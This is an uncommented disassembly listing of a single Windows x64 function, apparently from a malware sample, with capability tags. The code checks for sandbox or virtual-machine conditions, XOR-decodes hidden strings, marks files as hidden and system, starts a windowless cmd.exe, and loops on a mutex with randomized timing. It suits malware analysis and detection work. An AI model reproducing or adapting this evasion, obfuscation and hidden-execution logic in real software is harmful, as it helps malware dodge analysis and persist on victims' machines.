Function at 0x140008a50
Capabilities:
Create process on windows
Encode data using xor
Get file attributes
Set file attributes
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x4a0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x140015040]
xor rax, rsp
mov qword [rsp + 0x478], rax
xor r14d, r14d
mov eax, 0xdc
mov word [rsp + 0x2a4], ax
lea r8, [rsp + 0x260]
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
test eax, eax
je 0x140008ac6
cmp dword [rsp + 0x318], 0x32
jge 0x140008ac6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400060c0
test al, al
jne 0x140009e2f
call fcn.1400071b0
test al, al
jne 0x140009e2f
call fcn.1400074c0
test al, al
jne 0x140009e2f
call fcn.140007c20
test al, al
jne 0x140009e2f
call fcn.140008790
test al, al
jne 0x140009e2f
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call fcn.1400057e0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
movups xmmword [rsp + 0x240], xmm0
movdqa xmm7, xmmword [0x14000fc60]
movdqu xmmword [rsp + 0x250], xmm7
mov word [rsp + 0x240], r14w
mov r8d, 0x104
lea rdx, [rsp + 0x360]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x360]
mov rsi, 0xffffffffffffffff
mov r9, rsi
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x140008b80
lea rax, [rsp + 0x360]
add rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1a0], xmm1
lea rcx, [rsp + 0x360]
cmp rcx, rax
jne 0x140008bcd
movdqu xmmword [rsp + 0x1a0], xmm7
mov word [rsp + 0x190], r14w
jmp 0x140008be3
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x190]
call fcn.14000c9d0
nop
movdqa xmm0, xmmword [0x14000fd00]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x14000fe20]
movdqu xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [str.Z_RG_YG___G_P___]
movdqu xmmword [rsp + 0xb0], xmm0
mov dword [rsp + 0xc0], 0x2b2b585d
mov dword [rsp + 0xc4], 0x292b5f59
mov dword [rsp + 0xc8], 0x1752285f
xor eax, eax
mov byte [rsp + 0xcc], al
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + 0x90]
xor byte [rsp + rcx + 0x91], al
inc rcx
cmp rcx, 0x3b
jb 0x140008c50
mov byte [rsp + 0xcc], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x120], xmm1
lea rax, [rsp + 0x91]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140008c92
lea rdx, [rsp + 0x91]
lea rcx, [rsp + 0x110]
call fcn.14000c330
nop
lea r9, [rsp + 0x110]
cmp qword [rsp + 0x128], 0xf
cmova r9, qword [rsp + 0x110]
add r9, qword [rsp + 0x120]
lea rdx, [rsp + 0x110]
cmp qword [rsp + 0x128], 0xf
cmova rdx, qword [rsp + 0x110]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x140], xmm1
cmp rdx, r9
jne 0x140008d1e
movdqu xmmword [rsp + 0x140], xmm7
mov word [rsp + 0x130], r14w
jmp 0x140008d2f
sub r9, rdx
lea rcx, [rsp + 0x130]
call fcn.14000c9d0
nop
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x190]
call fcn.1400028b0
test eax, eax
jns 0x140008d66
cmp eax, 0x800700b7
jne 0x140008d66
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x190]
call fcn.1400028b0
jmp 0x140008d66
jmp 0x140008d7a
call fcn.140002590
movdqa xmm1, xmmword [0x14000fe30]
movdqu xmmword [rsp + 0x90], xmm1
movdqa xmm2, xmmword [str.HLWKJICJIIIV]
movdqu xmmword [rsp + 0xa0], xmm2
xor dl, dl
mov r8b, 9
mov r9b, 0xb
mov r10b, 0x16
mov r11b, 0x15
mov bl, 0x10
mov dil, 0xf
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x91], al
xor byte [rsp + 0x92], cl
xor byte [rsp + 0x93], cl
xor byte [rsp + 0x94], cl
xor byte [rsp + 0x95], cl
xor byte [rsp + 0x96], cl
xor byte [rsp + 0x97], cl
xor byte [rsp + 0x98], cl
xor byte [rsp + 0x99], cl
xor byte [rsp + 0x9a], cl
xor byte [rsp + 0x9b], cl
xor byte [rsp + 0x9c], cl
xor byte [rsp + 0x9d], cl
xor byte [rsp + 0x9e], cl
xor byte [rsp + 0x9f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0xa0], al
xor byte [rsp + 0xa1], cl
xor byte [rsp + 0xa2], cl
xor byte [rsp + 0xa3], cl
xor byte [rsp + 0xa4], cl
xor byte [rsp + 0xa5], cl
xor byte [rsp + 0xa6], cl
xor byte [rsp + 0xa7], cl
xor byte [rsp + 0xa8], cl
xor byte [rsp + 0xa9], cl
xor byte [rsp + 0xaa], cl
xor byte [rsp + 0xab], cl
xor byte [rsp + 0xac], cl
xor byte [rsp + 0xad], cl
xor byte [rsp + 0xae], cl
xor byte [rsp + 0xaf], cl
xor dl, cl
mov byte [rsp + 0xb0], dl
xor r8b, cl
mov byte [rsp + 0xb1], r8b
xor r9b, cl
mov byte [rsp + 0xb2], r9b
xor r10b, cl
mov byte [rsp + 0xb3], r10b
xor r11b, cl
mov byte [rsp + 0xb4], r11b
xor bl, cl
mov byte [rsp + 0xb5], bl
xor dil, cl
mov byte [rsp + 0xb6], dil
mov byte [rsp + 0xb7], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x1c0], r14
mov qword [rsp + 0x1c8], r14
lea rax, [rsp + 0x91]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140008f20
lea rdx, [rsp + 0x91]
lea rcx, [rsp + 0x1b0]
call fcn.14000c330
nop
lea rcx, [rsp + 0x58]
call fcn.140003770
nop
mov byte [rsp + 0x50], 0x1b
mov cl, 0x35
mov dl, 0x7f
mov r8b, 0x77
movzx r9d, r8b
xor r10d, r10d
xor cl, 0x1b
mov byte [rsp + 0x51], cl
xor dl, 0x1b
mov byte [rsp + 0x52], dl
xor r8b, 0x1b
mov byte [rsp + 0x53], r8b
xor r9b, 0x1b
mov byte [rsp + 0x54], r9b
mov byte [rsp + 0x55], r10b
lea rcx, [rsp + 0x51]
nop dword [rax + rax]
inc rsi
cmp byte [rcx + rsi], r10b
jne 0x140008f90
mov r8, rsi
lea rdx, [rsp + 0x51]
mov rcx, rax
call fcn.14000b100
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xa0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000900f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000900a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000900a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqa xmm6, xmmword [0x14000fc70]
movdqu xmmword [rsp + 0x68], xmm6
mov byte [rsp + 0x58], 0
movdqa xmm1, xmmword [str.c_Y_4_n_r_a_f]
movdqu xmmword [rsp + 0x340], xmm1
mov dl, 6
mov r8b, 0xe
mov r9b, 0x50
mov r10b, 0x51
mov r11b, 0x3f
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x341], al
xor byte [rsp + 0x342], cl
xor byte [rsp + 0x343], cl
xor byte [rsp + 0x344], cl
xor byte [rsp + 0x345], cl
xor byte [rsp + 0x346], cl
xor byte [rsp + 0x347], cl
xor byte [rsp + 0x348], cl
xor byte [rsp + 0x349], cl
xor byte [rsp + 0x34a], cl
xor byte [rsp + 0x34b], cl
xor byte [rsp + 0x34c], cl
xor byte [rsp + 0x34d], cl
xor byte [rsp + 0x34e], cl
xor byte [rsp + 0x34f], cl
xor dl, cl
mov byte [rsp + 0x350], dl
xor r8b, cl
mov byte [rsp + 0x351], r8b
xor r9b, cl
mov byte [rsp + 0x352], r9b
xor r10b, cl
mov byte [rsp + 0x353], r10b
xor r11b, cl
mov byte [rsp + 0x354], r11b
mov byte [rsp + 0x355], 0
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x341]
lea rcx, [rsp + 0xd0]
call fcn.14000bd70
nop
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rcx, qword [rsp + 0xd0]
or eax, 6
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0xf0]
call fcn.14000b1e0
mov rdx, r14
mov r8, qword [rsp + 0x1c0]
mov rdi, qword [rsp + 0x1c8]
mov rbx, qword [rsp + 0x1b0]
test r8, r8
je 0x1400091db
nop dword [rax]
nop word [rax + rax]
lea rax, [rsp + 0x1b0]
cmp rdi, 0xf
cmova rax, rbx
lea rcx, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0xf
cmova rcx, qword [rsp + 0xf0]
movzx eax, byte [rax + rdx]
xor al, 0x78
mov byte [rcx + rdx], al
inc rdx
cmp rdx, r8
jb 0x1400091a0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x170]
call fcn.140001520
nop
mov rdx, qword [rsp + 0x108]
cmp rdx, 0xf
jbe 0x140009237
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009232
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009232
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov qword [rsp + 0x100], r14
mov qword [rsp + 0x108], 0xf
mov byte [rsp + 0xf0], 0
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x58]
call fcn.14000b1e0
mov rdx, r14
cmp qword [rsp + 0xe0], 0
jbe 0x1400092b4
lea rax, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rax, qword [rsp + 0xd0]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rcx, qword [rsp + 0x58]
movzx eax, byte [rax + rdx]
xor al, 0x78
mov byte [rcx + rdx], al
inc rdx
cmp rdx, qword [rsp + 0xe0]
jb 0x140009273
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x150]
call fcn.140001520
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140009307
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009302
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009302
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
movups xmm0, xmmword [str.cmd.exe]
movups xmmword [rsp + 0x340], xmm0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rsp + 0x1d0], xmm1
movups xmmword [rsp + 0x1e0], xmm1
movups xmmword [rsp + 0x1f0], xmm1
movups xmmword [rsp + 0x200], xmm1
movups xmmword [rsp + 0x210], xmm1
movups xmmword [rsp + 0x220], xmm1
mov qword [rsp + 0x230], rax
mov dword [rsp + 0x1d0], 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x20c], 1
mov word [rsp + 0x210], r14w
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x340]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000969c
mov rdx, qword [rsp + 0x168]
cmp rdx, 0xf
jbe 0x140009424
inc rdx
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000941f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400098d6
call fcn.14000ce50
movdqu xmmword [rsp + 0x160], xmm6
mov byte [rsp + 0x150], 0
mov rdx, qword [rsp + 0x188]
cmp rdx, 0xf
jbe 0x140009478
inc rdx
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009473
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000992d
call fcn.14000ce50
movdqu xmmword [rsp + 0x180], xmm6
mov byte [rsp + 0x170], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0xf
jbe 0x1400094cc
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400094c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009984
call fcn.14000ce50
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x14000952c
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009526
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400099e6
call fcn.14000ce50
nop
cmp rdi, 0xf
jbe 0x140009564
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000955b
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009a1e
mov rcx, rbx
call fcn.14000ce50
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x1400095ac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400095a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009a6d
call fcn.14000ce50
movdqu xmmword [rsp + 0x140], xmm7
mov word [rsp + 0x130], r14w
mov rdx, qword [rsp + 0x128]
cmp rdx, 0xf
jbe 0x140009601
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400095fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009ac5
call fcn.14000ce50
movdqu xmmword [rsp + 0x120], xmm6
mov byte [rsp + 0x110], 0
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x14000965b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009655
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009b21
call fcn.14000ce50
nop
mov eax, 1
mov rcx, qword [rsp + 0x478]
xor rcx, rsp
call fcn.14000ce30
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov r15d, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rsi, 0x7fffffffffffffff
movabs r12, 0x7ffffffdabf41bff
movabs r13, 0x2540be400
nop dword [rax + rax]
lea rcx, [rsp + 0x340]
call fcn.1400012e0
mov rax, qword [rsp + 0x340]
cmp rax, r12
jge 0x140009705
lea rcx, [rax + r13]
mov qword [rsp + 0x50], rcx
jmp 0x14000970a
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x50]
call fcn.14000c760
mov r8b, 0x78
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x170]
call fcn.140001b30
test al, al
je 0x1400096e0
lea rcx, [rsp + 0xf0]
call fcn.140003770
nop
lea r8, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0xf
cmova r8, qword [rsp + 0xf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov r12, rax
test rax, rax
je 0x140009b35
lea rcx, [rsp + 0x340]
call fcn.1400012e0
movabs rax, 0x7fffffff88ca6bff
mov rcx, qword [rsp + 0x340]
cmp rcx, rax
jge 0x1400097a0
add rcx, 0x77359400
mov qword [rsp + 0x50], rcx
jmp 0x1400097a5
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x50]
call fcn.14000c760
lea rsi, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rsi, qword [rsp + 0xd0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
je 0x1400097f5
sub r8d, 1
je 0x1400097f5
cmp r8d, 1
jne 0x140009809
call fcn.1400024d0
movzx r8d, al
mov rdx, rsi
mov ecx, r15d
call fcn.140002630
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rcx, qword [rsp + 0xd0]
or eax, 6
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x108]
cmp rdx, 0xf
jbe 0x14000989c
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009896
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009b6f
call fcn.14000ce50
nop
mov rdx, qword [rsp + 0x168]
cmp rdx, 0xf
jbe 0x1400098e2
inc rdx
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400098dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400098dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqu xmmword [rsp + 0x160], xmm6
mov byte [rsp + 0x150], 0
mov rdx, qword [rsp + 0x188]
cmp rdx, 0xf
jbe 0x140009939
inc rdx
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009934
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009934
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqu xmmword [rsp + 0x180], xmm6
mov byte [rsp + 0x170], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0xf
jbe 0x140009990
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000998b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000998b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x1400099f3
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400099ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400099ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
nop
cmp rdi, 0xf
jbe 0x140009a2e
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140009a25
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14000ce50
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x140009a79
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a74
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqu xmmword [rsp + 0x140], xmm7
mov word [rsp + 0x130], r14w
mov rdx, qword [rsp + 0x128]
cmp rdx, 0xf
jbe 0x140009ad1
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009acc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009acc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqu xmmword [rsp + 0x120], xmm6
mov byte [rsp + 0x110], 0
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x140009b2e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
nop
xor eax, eax
jmp 0x140009660
mov rdx, qword [rsp + 0x108]
cmp rdx, 0xf
jbe 0x140009b7b
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b76
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov qword [rsp + 0x100], r14
mov qword [rsp + 0x108], 0xf
mov byte [rsp + 0xf0], 0
mov rdx, qword [rsp + 0x168]
cmp rdx, 0xf
jbe 0x140009bdd
inc rdx
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009bd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009bd8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqu xmmword [rsp + 0x160], xmm6
mov byte [rsp + 0x150], 0
mov rdx, qword [rsp + 0x188]
cmp rdx, 0xf
jbe 0x140009c34
inc rdx
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009c2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqu xmmword [rsp + 0x180], xmm6
mov byte [rsp + 0x170], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0xf
jbe 0x140009c8b
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009c86
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x140009cee
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ce8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009ce8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
nop
cmp rdi, 0xf
jbe 0x140009d29
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140009d20
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009d20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14000ce50
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x140009d74
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009d6f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqu xmmword [rsp + 0x140], xmm7
mov word [rsp + 0x130], r14w
mov rdx, qword [rsp + 0x128]
cmp rdx, 0xf
jbe 0x140009dcc
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009dc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009dc7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
movdqu xmmword [rsp + 0x120], xmm6
mov byte [rsp + 0x110], 0
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x14000965b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009655
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009655
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]